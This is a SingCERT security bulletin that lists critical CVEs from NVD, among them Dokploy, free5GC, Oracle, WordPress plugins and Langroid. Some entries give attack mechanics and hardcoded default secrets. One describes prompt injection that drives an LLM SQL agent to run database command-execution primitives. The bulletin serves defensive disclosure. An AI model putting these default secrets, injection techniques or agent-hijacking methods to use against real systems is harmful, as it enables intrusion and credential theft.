SingCERT
Singapore Cyber Emergency Response Team

Security Bulletin 03 June 2026

Generated on 03 June 2026

SingCERT's Security Bulletin summarises the list of vulnerabilities collated from the National Institute of Standards and Technology (NIST)'s National Vulnerability Database (NVD) in the past week.

The vulnerabilities are tabled based on severity, in accordance to their CVSSv3 base scores:

Critical	vulnerabilities with a base score of 9.0 to 10.0
High	vulnerabilities with a base score of 7.0 to 8.9
Medium	vulnerabilities with a base score of 4.0 to 6.9
Low	vulnerabilities with a base score of 0.1 to 3.9
None	vulnerabilities with a base score of 0.0

For those vulnerabilities without assigned CVSS scores, please visit NVD for the updated CVSS vulnerability entries.

CRITICAL VULNERABILITIES

CVE Number	Description	Base Score	Reference
CVE-2026-43898	SandboxJS is a JavaScript sandboxing library. Prior to 0.9.6, sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript. This vulnerability is fixed in 0.9.6.	10.0	More Details
CVE-2026-45631	Dokploy is a free, self-hostable Platform as a Service (PaaS). From 0.27.0 to before 0.29.3, a hardcoded BETTER_AUTH_SECRET fallback ("better-auth-secret-123456789") lets an unauthenticated attacker forge email verification JWTs, trigger auto-sign-in as admin, and execute commands on the host via the built-in SSH terminal. This vulnerability is fixed in 0.29.3.	10.0	More Details
CVE-2026-44327	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the nnef-oam route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can hit the OAM route with no Authorization header at all and the handler returns 200 OK. The current OAM handler is a stub that returns null, but the structural defect is route-group-scoped: the entire OAM route group has no inbound auth middleware, so every future OAM operation added to this group inherits the missing auth boundary by default. This vulnerability is fixed in 4.2.2.	10.0	More Details
CVE-2026-40965	Cloud Foundry UAA versions v76.12.0 through v78.12.0 are vulnerable to a private key exposure. The server contains a vulnerability where EC (Elliptic Curve) private keys are inadvertently exposed through the public /token_keys endpoint. This endpoint is designed to provide public key material for JWT token verification but incorrectly exposes private key components for EC keys. The vulnerability affects deployments using EC keys for JWT token signing. The vulnerability does not affect RSA key configurations, only deployments using EC keys for JWT signing. Affected versions: - uaa_release: v76.12.0 through v78.12.0 (inclusive); fixed in v78.13.0 or later - CF Deployment: v30.0.0 through v56.0.0 (inclusive); fixed in v56.1.0 or later (bundles uaa_release v78.13.0)	10.0	More Details
CVE-2026-44329	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's SMF mounts the UPI management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit UPI endpoints with no Authorization header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (GET /upi/v1/upNodesLinks), write (POST /upi/v1/upNodesLinks with attacker-controlled UP-node and link payload), and delete (DELETE /upi/v1/upNodesLinks/{nodeID}) operations. This vulnerability is fixed in 4.2.2.	10.0	More Details

CVE-2026-44330	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the nnef-pfdmanagement route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) to read PFD application data via GET /applications and GET /applications/{appID}, and to create or delete PFD change-notification subscriptions via POST /subscriptions and DELETE /subscriptions/{subID}. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, nnef-pfdmanagement IS declared in the runtime ServiceList, so this is the production-intended path that operators expect to be protected by OAuth2 setting receive from NRF: true -- and it is not. This vulnerability is fixed in 4.2.2.	10.0	More Details
CVE-2026-45087	Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, when dalfox is started in REST API server mode (dalfox server), the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes --api-key. Because model.Options — including FoundAction and FoundActionShell — is deserialized directly from attacker-supplied JSON in POST /scan, and because dalfox.Initialize explicitly propagates those two fields into the final scan options without stripping them, any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered. This vulnerability is fixed in 2.13.0.	10.0	More Details
CVE-2026-46840	Vulnerability in Oracle REST Data Services (component: Backend-as-a-Service). Supported versions that are affected are 24.2.0-26.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle REST Data Services. While the vulnerability is in Oracle REST Data Services, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle REST Data Services. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).	10.0	More Details
CVE-2026-45132	CloudPirates Open Source Helm Charts is a collection of Helm charts. Prior to commit fcf9302, a GitHub Actions workflow (generate-schema.yaml) exposes sensitive credentials (Personal Access Token and SSH signing key) to fork-controlled code due to unsafe checkout and credential handling practices. This issue has been patched via commit fcf9302.	10.0	More Details
CVE-2026-45131	CloudPirates Open Source Helm Charts is a collection of Helm charts. Prior to commit fcf9302, a GitHub Actions workflow (pull-request.yaml) executes attacker-controlled code from fork pull requests in a privileged context, exposing repository secrets including Docker Hub credentials and tokens without requiring maintainer approval. This issue has been patched via commit fcf9302.	10.0	More Details
CVE-2026-47744	Shopper is a Headless e-commerce Admin Panel. Prior to 2.8.0, two distinct authorization defects in the team settings allowed any authenticated panel user to take over the RBAC system. Settings/Team/Index had no mount() authorization. Any authenticated user could load the page and use its public actions to create new roles and delete other users, including administrators. Settings/Team/RolePermission gated its write actions on the read-only view_users permission. Any user holding view_users could grant themselves or any other user arbitrary permissions, including manage_users and edit_orders, effectively escalating to full panel administrator from a read-only account. Combined, these two defects allow a low-privilege authenticated user to obtain administrator privileges and remove the legitimate administrators from the panel. This vulnerability is fixed in 2.8.0.	9.9	More Details
CVE-2026-45102	OneUptime is an open-source monitoring and observability platform. Prior to 10.0.98, OneUptime uses the Node.js' vm module as an isolation primitive. This API was not designed for that and can be escaped via error objects and infinite recursion. This vulnerability is fixed in 10.0.98.	9.9	More Details
CVE-2026-9558	A Server-Side Template Injection (SSTI) vulnerability exists in Mautic's theme engine. The platform renders uploaded Twig templates without a sandbox or strict function restrictions. Authenticated users with permissions to create or upload themes can abuse this to execute arbitrary code on the hosting server (Remote Code Execution) or access restricted system files and configuration settings.	9.9	More Details
CVE-2026-45312	RAGFlow is an open-source RAG (Retrieval-Augmented Generation) engine. In 0.24.0 and earlier, a Jinja2 template injection in the prompt generator (rag/prompts/generator.py) allows any authenticated user to execute arbitrary OS commands on the server. Any normal user can register, create a Canvas workflow with a DuckDuckGo + LLM component chain, and trigger the SSTI.	9.9	More Details
CVE-2026-44881	Portainer Community Edition is a lightweight service delivery platform for containerized applications that can be used to manage Docker, Swarm, Kubernetes and ACI environments. From 2.33.0 to before 2.33.8, 2.39.2, and 2.41.0, Portainer supports deploying stacks from Git repositories. When a Git-backed stack is created or updated, Portainer clones the repository using go-git v5, which translates Git blob entries with mode 0o120000 (symlink) into real OS symlinks on the host filesystem via os.Symlink. The only entry blocked from becoming a symlink is .gitmodules; every other path is created as a symlink without validation. Portainer's GET /api/stacks/{id}/file endpoint then reads the stack entry point with os.ReadFile, which follows OS symlinks transparently. A repository containing docker-compose.yml as a symlink to an arbitrary filesystem path causes the symlink target's contents to be returned verbatim in the HTTP response. Any authenticated user with rights to create or update a Git-backed stack — the	9.9	More Details

	default configuration in Portainer CE — can read arbitrary files accessible to the Portainer process. This vulnerability is fixed in 2.33.8, 2.39.2, and 2.41.0.		
CVE-2026-9645	Exposed methods allow authenticated users to create and execute arbitrary JavaScript code on the server. The scripts execute with full access, enabling complete system compromise as commands are executed as root.	9.9	More Details
CVE-2026-46839	Vulnerability in Oracle REST Data Services (component: Core). Supported versions that are affected are 24.2.0-26.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle REST Data Services. While the vulnerability is in Oracle REST Data Services, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle REST Data Services. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).	9.9	More Details
CVE-2026-46824	Vulnerability in the Oracle Universal Work Queue product of Oracle E-Business Suite (component: Work Provider Site Level Administration). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Universal Work Queue. While the vulnerability is in Oracle Universal Work Queue, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Universal Work Queue. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).	9.9	More Details
CVE-2026-46822	Vulnerability in the Oracle iAssets product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iAssets. While the vulnerability is in Oracle iAssets, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle iAssets. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).	9.9	More Details
CVE-2026-46775	Vulnerability in Oracle REST Data Services (component: Core). Supported versions that are affected are 24.2.0-26.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle REST Data Services. While the vulnerability is in Oracle REST Data Services, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle REST Data Services. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).	9.9	More Details
CVE-2026-9559	A path traversal vulnerability exists in the campaign import feature of Mautic 7. When extracting uploaded ZIP files during campaign imports, a flaw in the validation logic allows file paths to escape the intended temporary directories. An authenticated user with campaign import privileges (campaign:imports:create) can write arbitrary PHP files to sensitive system directories. An attacker can exploit this to overwrite critical internal configuration or cache components, resulting in Remote Code Execution (RCE) under the context of the web server user.	9.9	More Details
CVE-2026-46425	Budibase is an open-source low-code platform. Prior to 3.38.2, packages/worker/src/api/routes/global/scim.ts attaches only two middlewares to the SCIM router: requireSCIM (checks the Enterprise feature flag and SCIM config) and doInScimContext (sets the SCIM request context). There is no role check. Any authenticated user who reaches the worker (BASIC role, workspace-scoped builder, anyone) can call SCIM endpoints and CRUD every user and group in the tenant. This vulnerability is fixed in 3.38.2.	9.9	More Details
CVE-2026-45661	Dokploy is a free, self-hostable Platform as a Service (PaaS). In 0.26.5 and earlier, a critical path traversal vulnerability exists in Dokploy v0.26.5 that allows authenticated users to write arbitrary files to the filesystem during application deployment. When combined with Dokploy's remote server deployment feature, this vulnerability enables arbitrary file write to remote server filesystems, automatic remote code execution via cron jobs, complete server compromise, data exfiltration without user interaction, and persistent backdoor installation. This vulnerability bypasses all container isolation on remote server deployments.	9.9	More Details
CVE-2026-42756	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Ludwig You QuickWebP – Compress / Optimize Images & Convert WebP | SEO Friendly quickwebp allows Path Traversal.This issue affects QuickWebP – Compress / Optimize Images & Convert WebP | SEO Friendly: from n/a through <= 3.2.7.	9.9	More Details
CVE-2026-44962	Plesk contains an XPath injection vulnerability in the APS Application Catalog search functionality, where user-supplied input is interpolated into XPath queries without proper sanitization. This allows an authenticated, low-privileged user to execute arbitrary operating system commands on the server, resulting in local privilege escalation.	9.9	More Details
CVE-2026-	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in		More

42757	Saleswonder Team: Tobias WebinarIgnition webinar-ignition allows Path Traversal.This issue affects WebinarIgnition: from n/a through < 4.08.253.	9.9	Details
CVE-2026-45663	Dokploy is a free, self-hostable Platform as a Service (PaaS). In 0.29.1 and earlier, a command injection vulnerability exists in the Docker file upload functionality. When an authenticated user uploads a file to a container, the destinationPath parameter is not properly sanitized and is directly interpolated into a shell command string. By including shell metacharacters such as ; or ", an attacker can escape the intended docker cp command and execute arbitrary OS commands on the Dokploy host.	9.9	More Details
CVE-2026-45625	Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 1.19.0, Arcane's huma-based REST API exposes nine endpoints under /api/customize/git-repositories and /api/git-repositories/sync for managing GitOps source repositories and their stored credentials. Eight of those endpoints (list, create, get, update, delete, test, listBranches, browseFiles) never call the checkAdmin(ctx) helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the admin role. As a result, any logged-in user with the default user role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository's URL to an attacker-controlled host while omitting the token/sshKey fields (which UpdateRepository only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next /test, /branches, or /files call and present it as HTTP Basic auth (or SSH key auth) to the attacker's host — producing a one-step exfiltration of plaintext Git credentials. This vulnerability is fixed in 1.19.0.	9.9	More Details
CVE-2026-45629	Dokploy is a free, self-hostable Platform as a Service (PaaS). In 0.28.8 and earlier, authenticated OS command injection in the /listen-deployment WebSocket endpoint allows any organization member to execute arbitrary system commands on remote servers managed by Dokploy, leading to full server compromise.	9.9	More Details
CVE-2026-45632	Dokploy is a free, self-hostable Platform as a Service (PaaS). In 0.26.7 and earlier, the schedule router does not enforce organization/role checks. As a result, any authenticated user can create, update, run, or delete schedules belonging to other organizations if they know the scheduleId/serverId. Schedule types server and dokploy-server write and execute scripts on the host or remote servers, enabling RCE on the Dokploy host or a target server.	9.9	More Details
CVE-2026-42748	Unrestricted Upload of File with Dangerous Type vulnerability in WPify WPify Woo Czech wpify-woo allows Upload a Web Shell to a Web Server.This issue affects WPify Woo Czech: from n/a through <= 5.4.1.	9.9	More Details
CVE-2026-45372	cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to 0.44.0, when cpp-httplib's server parses an incoming request, it applies percent-decoding to every header value except Location and Referer. The validity check (is_field_value) is run before decoding, so encoded %0D%0A passes the check and is then expanded to a literal \r\n byte pair inside the stored header value. This vulnerability is fixed in 0.44.0.	9.9	More Details
CVE-2026-45633	Dokploy is a free, self-hostable Platform as a Service (PaaS). In 0.26.6 and earlier, Dokploy contains a command injection vulnerability in the /docker-container-logs WebSocket endpoint. The tail and since parameters are not validated and are directly concatenated into shell commands, allowing authenticated users to execute arbitrary commands with root privileges.	9.9	More Details
CVE-2026-10071	DreamMaker developed by Interinfo has an Arbitrary File Upload vulnerability, allowing unauthenticated remote attackers to upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server.	9.8	More Details
CVE-2026-8809	The Advanced Custom Fields: Extended plugin for WordPress is vulnerable to Privilege Escalation via Validation Bypass in all versions up to and including 0.9.2.5. The vulnerability exists due to the after_validate_save_post() function unconditionally trusting the attacker-controlled _acf_post_id POST parameter — with no authentication or integrity verification — to select a cleanup branch that silently discards all validation errors not prefixed with acfe:. This makes it possible for unauthenticated attackers to suppress both the role allow-list validation error added by acfe_field_user_roles::validate_front_value() and the administrator-role capability guard error added by acfe_module_form_action_user::validate_action(), causing wp_insert_user() to execute with an attacker-supplied administrator role argument and resulting in the creation of a new administrator-level user account. Exploitation requires the target site to expose a public ACFE frontend form configured with a Create User action that maps a role field.	9.8	More Details
CVE-2026-7786	Jinan USR IOT Technology Limited (PUSR) USR-W610 RS232/485 to Wi-Fi/Ethernet Converter device firmware contains plaintext administrative credentials embedded in the firmware image. These credentials can be extracted through firmware analysis and used to authenticate to device services.	9.8	More Details
	The Login with OTP plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 1.6. This is due to an incomplete fix for CVE-2024-11178: the rate-limit/lockout check added to `otpl_login_action()` was placed only inside the OTP-generation branch and is never evaluated on the		

CVE-2026-8760	OTP-validation branch, and the generated 6-digit OTP additionally has no expiration. This makes it possible for unauthenticated attackers to brute-force the 900,000-value OTP space for any user account (including administrators) and obtain a valid `wp_set_auth_cookie()` session, leading to full site compromise.	9.8	More Details
CVE-2026-8732	The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmp_temp_access_ajax AJAX action being registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce, which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object, rendering the check ineffective as an access control mechanism. This makes it possible for unauthenticated attackers to invoke the wpgmp_temp_access_support handler with check_temp=false, which unconditionally creates a new WordPress user with the hardcoded role of administrator via wp_insert_user() and returns a magic login URL that, when visited, calls wp_set_auth_cookie() to fully authenticate the attacker as the newly created administrator, resulting in complete site takeover.	9.8	More Details
CVE-2026-46817	Vulnerability in the Oracle Payments product of Oracle E-Business Suite (component: File Transmission). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Payments. Successful attacks of this vulnerability can result in takeover of Oracle Payments. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).	9.8	More Details
CVE-2026-44649	SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP headers to automatically log in users when SSO is configured. There is no validation that these headers originate from a trusted reverse proxy. Any network client that can reach the SillyTavern port directly can inject these headers and authenticate as any user, including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or sso.authentikAuth: true is set in config.yaml (both default to false). This vulnerability is fixed in 1.18.0.	9.8	More Details
CVE-2026-45288	Marten is a .NET Transactional Document DB and Event Store on PostgreSQL. Prior to 8.36.1, Marten's full-text search APIs interpolated the user-supplied regConfig parameter directly into the generated SQL without parameterization or validation, making every code path that exposes regConfig to untrusted input a SQL injection sink. This vulnerability is fixed in 8.36.1.	9.8	More Details
CVE-2026-34311	Vulnerability in the Oracle Hospitality OPERA 5 Property Services product of Oracle Hospitality Applications (component: Opera). Supported versions that are affected are 5.6.19.24, 5.6.22, 5.6.25.19, 5.6.27.6 and 5.6.28. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hospitality OPERA 5 Property Services. Successful attacks of this vulnerability can result in takeover of Oracle Hospitality OPERA 5 Property Services. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).	9.8	More Details
CVE-2026-10187	A vulnerability was detected in Totolink N300RH 6.1c.1353_B20190305. Affected by this issue is the function setWiFiBasicConfig of the file wireless.so of the component Web Management Interface. Performing a manipulation of the argument KeyStr results in stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit is now public and may be used.	9.8	More Details
CVE-2018-25412	Delta Sql 1.8.2 contains an arbitrary file upload vulnerability that allows unauthenticated attackers to upload malicious files by sending POST requests to docs_upload.php with crafted multipart form data. Attackers can upload PHP files with arbitrary content to the upload directory and execute them on the server for remote code execution.	9.8	More Details
CVE-2026-3655	The OTP Login With Phone Number, OTP Verification plugin for WordPress is vulnerable to authentication bypass in versions 1.8.50 through 1.8.60. This is due to the Firebase verification flow in the `lwp_ajax_register` AJAX handler not binding the Firebase session to the phone number supplied in the request. The `idehweb_lwp_activate_through_firebase()` function validates that a Firebase OTP session is legitimate, but the `phoneNumber` returned by Firebase is never compared against the victim's stored phone number. This makes it possible for unauthenticated attackers to authenticate as any user who has a phone number stored in user meta, including administrators, by verifying their own Firebase session and supplying the victim's phone number in the same request.	9.8	More Details
CVE-2026-46376	FreePBX is an open source IP PBX. From 15.0.42 to before 16.0.45 and 17.0.7, unauthenticated users may be able to access the User Control Panel (UCP) using hard-coded initial template credentials if these were not immediately changed by the Administrator who enabled UCP. Authenticated access to ACP is required for the initial setup of UCP generic templates, but after that, without further steps by the admin, unauthenticated users may be able to gain access. This vulnerability is fixed in 16.0.45 and 17.0.7.	9.8	More Details
CVE-2025-	Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the Console WebUI in Waterfall WF-500 TX and RX Hosts in		More

41269	version 7.9.1.0 R2502171040 that allows remote unauthenticated attackers to execute arbitrary operating system commands on the device.	9.8	Details
CVE-2025-41270	Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the Console WebUI in Waterfall WF-500 TX and RX Hosts in version 7.9.1.0 R2502171040 that allows remote unauthenticated attackers to execute arbitrary operating system commands on the device.	9.8	More Details
CVE-2025-41272	Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the Console WebUI in Waterfall WF-500 TX and RX Hosts in version 7.9.1.0 R2502171040 that allows remote unauthenticated attackers to execute arbitrary operating system commands on the device.	9.8	More Details
CVE-2025-41273	Nozomi Networks Labs identified a CWE-288: Authentication Bypass Using an Alternate Path or Channel in the Console WebUI in Waterfall WF-500 TX and RX Hosts in version 7.9.1.0 R2502171040 that allows remote unauthenticated attackers to bypass authentication of the Console web application and perform actions as an authenticated user.	9.8	More Details
CVE-2026-45697	Formie is a Craft CMS plugin for creating forms. Prior to 2.2.20 and 3.1.24, unauthenticated users could submit crafted values into Hidden fields (with Default value → Custom) that were evaluated as Twig during submission handling, which could lead to serious compromise of the Craft site (depending on template/sandbox behavior). This vulnerability is fixed in 2.2.20 and 3.1.24.	9.8	More Details
CVE-2025-41274	Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the Console WebUI in Waterfall WF-500 TX and RX Hosts in version 7.9.1.0 R2502171040 that allows remote unauthenticated attackers to execute arbitrary operating system commands on the device.	9.8	More Details
CVE-2025-41275	Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the Console WebUI in Waterfall WF-500 TX and RX Hosts in version 7.9.1.0 R2502171040 that allows remote unauthenticated attackers to execute arbitrary operating system commands on the device.	9.8	More Details
CVE-2025-41276	Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the Console WebUI in Waterfall WF-500 TX and RX Hosts in version 7.9.1.0 R2502171040 that allows remote unauthenticated attackers to execute arbitrary operating system commands on the device.	9.8	More Details
CVE-2025-41277	Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the Console WebUI in Waterfall WF-500 TX and RX Hosts in version 7.9.1.0 R2502171040 that allows remote unauthenticated attackers to execute arbitrary operating system commands on the device.	9.8	More Details
CVE-2026-45700	FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.26.0, FreeRDP's planar bitmap decoder has an out-of-bounds heap write when decoding RLE planar data. In libfreerdp/codec/planar.c, freerdp_bitmap_decompress_planar() validates the X destination coordinate nXDst against the caller-provided destination stride (nDstStep) even when it is writing into the internal temp buffer pTempData. An attacker can bypass the check with a large nDstStep and a large nXDst, causing planar_decompress_plane_rle() to write past the end of pTempData. This vulnerability is fixed in 3.26.0.	9.8	More Details
CVE-2026-10042	manga-image-translator contains a remote code execution vulnerability in the shared API server mode due to unsafe deserialization of untrusted pickle data in the share.py module, where the /execute/{method_name} and /simple_execute/{method_name} endpoints deserialize attacker-controlled HTTP request bodies using pickle.loads(). A remote attacker can supply a crafted pickle payload to these endpoints to execute arbitrary code in the server process, resulting in full container compromise when running in the default Docker deployment as root.	9.8	More Details
CVE-2026-45039	RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, the internode RPC layer authenticates every request with an HMAC-SHA256 signature using a shared secret. The function that produces this secret, get_shared_secret() in crates/ecstore/src/rpc/http_auth.rs, falls back to the public, source-tree-embedded DEFAULT_SECRET_KEY = "rustfsadmin" when neither the RUSTFS_RPC_SECRET environment variable nor the global S3 secret key has been configured. This vulnerability is fixed in 1.0.0-beta.2.	9.8	More Details
CVE-2026-25879	Langroid is a framework for building large-language-model-powered applications. Prior to version 0.63.0, SQLChatAgent executes SQL produced by an LLM, which is influenceable by prompt injection. When configured with a database role that has privileges enabling code execution or filesystem access (e.g., PostgreSQL pg_execute_server_program, MySQL FILE, MSSQL xp_cmdshell), an attacker who can shape the agent's input — including indirectly via data returned to the LLM — can coerce execution of dialect-specific primitives such as `COPY ... FROM PROGRAM`, achieving RCE on the database host. Fixed in v0.63.0 by defaulting SQLChatAgent to a SELECT-only sqlglot-parsed statement allowlist with a dialect-	9.8	More Details

	aware dangerous-pattern blocklist; allow_dangerous_operations=True restores the previous unrestricted behavior for trusted deployments.		
CVE-2026-7858	A Deserialization of Untrusted Data vulnerability affecting Teamwork Cloud from No Magic Release 2022x through No Magic Release 2026x and Magic Collaboration Studio from CATIA Magic Release 2022x through CATIA Magic Release 2026x could lead to an unauthenticated remote code execution.	9.8	More Details
CVE-2026-46137	In the Linux kernel, the following vulnerability has been resolved: mptcp: pm: ADD_ADDR rtx: fix potential data-race This mptcp_pm_add_timer() helper is executed as a timer callback in softirq context. To avoid any data races, the socket lock needs to be held with bh_lock_sock(). If the socket is in use, retry again soon after, similar to what is done with the keepalive timer.	9.8	More Details
CVE-2026-45083	The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From 4.8.0 to before 26.04.1, the Goobi viewer REST endpoint POST /api/v1/index/stream accepted an arbitrary Solr streaming expression from unauthenticated network clients and forwarded it to the backend Solr server without restriction. An attacker could read the complete Solr index and, in default Solr deployments, also modify or delete indexed records. This vulnerability is fixed in 26.04.1.	9.8	More Details
CVE-2026-8364	Gladinet Triofox Cloud Server Agent Access Service (GladServerAgentService.exe) listens on TCP port 7878 and processes remote HTTP messages with URL paths starting with /resources, /status, /sysinfo, /woshome, /Settings, /schedule, or /DavCache.	9.8	More Details
CVE-2026-8363	A stack-based buffer overflow condition exists in WOSDeviceDropFolder.dll when processing a long URL path starting with /resources:	9.8	More Details
CVE-2026-8362	A stack-based buffer overflow condition exists in WOSDefaultHttpModule.dll when processing a long URL path starting with /woshome	9.8	More Details
CVE-2026-44888	Pi.Alert is a WIFI / LAN intruder detector with web service monitoring. Prior to 2026-05-07, Pi.Alert's SaveConfigFile() endpoint writes user-supplied numeric config values (e.g., SMTP_PORT) directly into pialert.conf without validation. Since pialert.conf is loaded via Python's exec() every 3–5 minutes by the background cron process, an attacker can inject arbitrary Python code and achieve unauthenticated OS-level RCE. On default installations (PIALERT_WEB_PROTECTION = False), no credentials are required. This vulnerability is fixed in 2026-05-07.	9.8	More Details
CVE-2026-44887	Pi.Alert is a WIFI / LAN intruder detector with web service monitoring. Prior to 2026-05-07, Pi.Alert's web-based configuration editor allows arbitrary Python code to be injected into pialert.conf. Since the background scan daemon loads this file via Python's exec(), injected code executes as the daemon process. With web protection disabled (the default configuration), no authentication is required, making this an unauthenticated Remote Code Execution vulnerability. This vulnerability is fixed in 2026-05-07.	9.8	More Details
CVE-2026-48027	Nx Console is the user interface for Nx & Lerna. On 19 May 2026, a malicious version of Nx Console, 18.95.0, was published at 12:30 PM UTC and removed soon after at 12:48 PM UTC, leaving it available for ~18 minutes in Visual Studio Marketplace. For OpenVSX, the problem was detected later, and the compromised version was available from 12:33 UTC to 13:09 UTC (~36 minutes). Version 18.100.0 of Nx Console is not compromised and users may remediate by upgrading to that version.	9.8	More Details
CVE-2026-8175	IBM Aspera High-Speed Transfer Endpoint 3.7.4 through 4.4.7 Fix Pack 1 and IBM Aspera High-Speed Transfer Server 3.7.4 through 4.4.7 Fix Pack 1 and IBM Aspera High-Speed Transfer Endpoint are affected by a buffer overflow in the asperahttpd component. This vulnerability could be exploited to cause a denial of service and potentially lead to authentication bypass or remote code execution.	9.8	More Details
CVE-2026-7524	IBM Langflow OSS 1.0.0 through 1.9.1 could allow remote code execution due to improper validation of symbolic links during archive extraction.	9.8	More Details
CVE-2018-25427	Arm Whois 3.11 contains a stack-based buffer overflow vulnerability that allows remote attackers to execute arbitrary code by supplying oversized input to the IP address or domain field. Attackers can craft malicious input exceeding 658 bytes with shellcode to overwrite the structured exception handler and gain command execution when the application processes the input.	9.8	More Details
CVE-2026-46039	In the Linux kernel, the following vulnerability has been resolved: rxgk: Fix potential integer overflow in length check Fix potential integer overflow in rxgk_extract_token() when checking the length of the ticket. Rather than rounding up the value to be tested (which might overflow), round down the size of the available data.	9.8	More Details
CVE-2026-45988	In the Linux kernel, the following vulnerability has been resolved: rxrpc: Fix re-decryption of RESPONSE packets If a RESPONSE packet gets a temporary failure during processing, it may end up in a partially decrypted state - and then get requeued for a retry. Fix this by just discarding the packet; we will send another CHALLENGE packet and thereby elicit a further response. Similarly, discard an incoming CHALLENGE packet if we get an error whilst generating a RESPONSE; the server will send another CHALLENGE.	9.8	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: smb: client: fix potential UAF and		More

45972	double free in smb2_open_file() Zero out @err_iov and @err_buftype before retrying SMB2_open() to prevent an UAF bug if @data != NULL, otherwise a double free.	9.8	Details
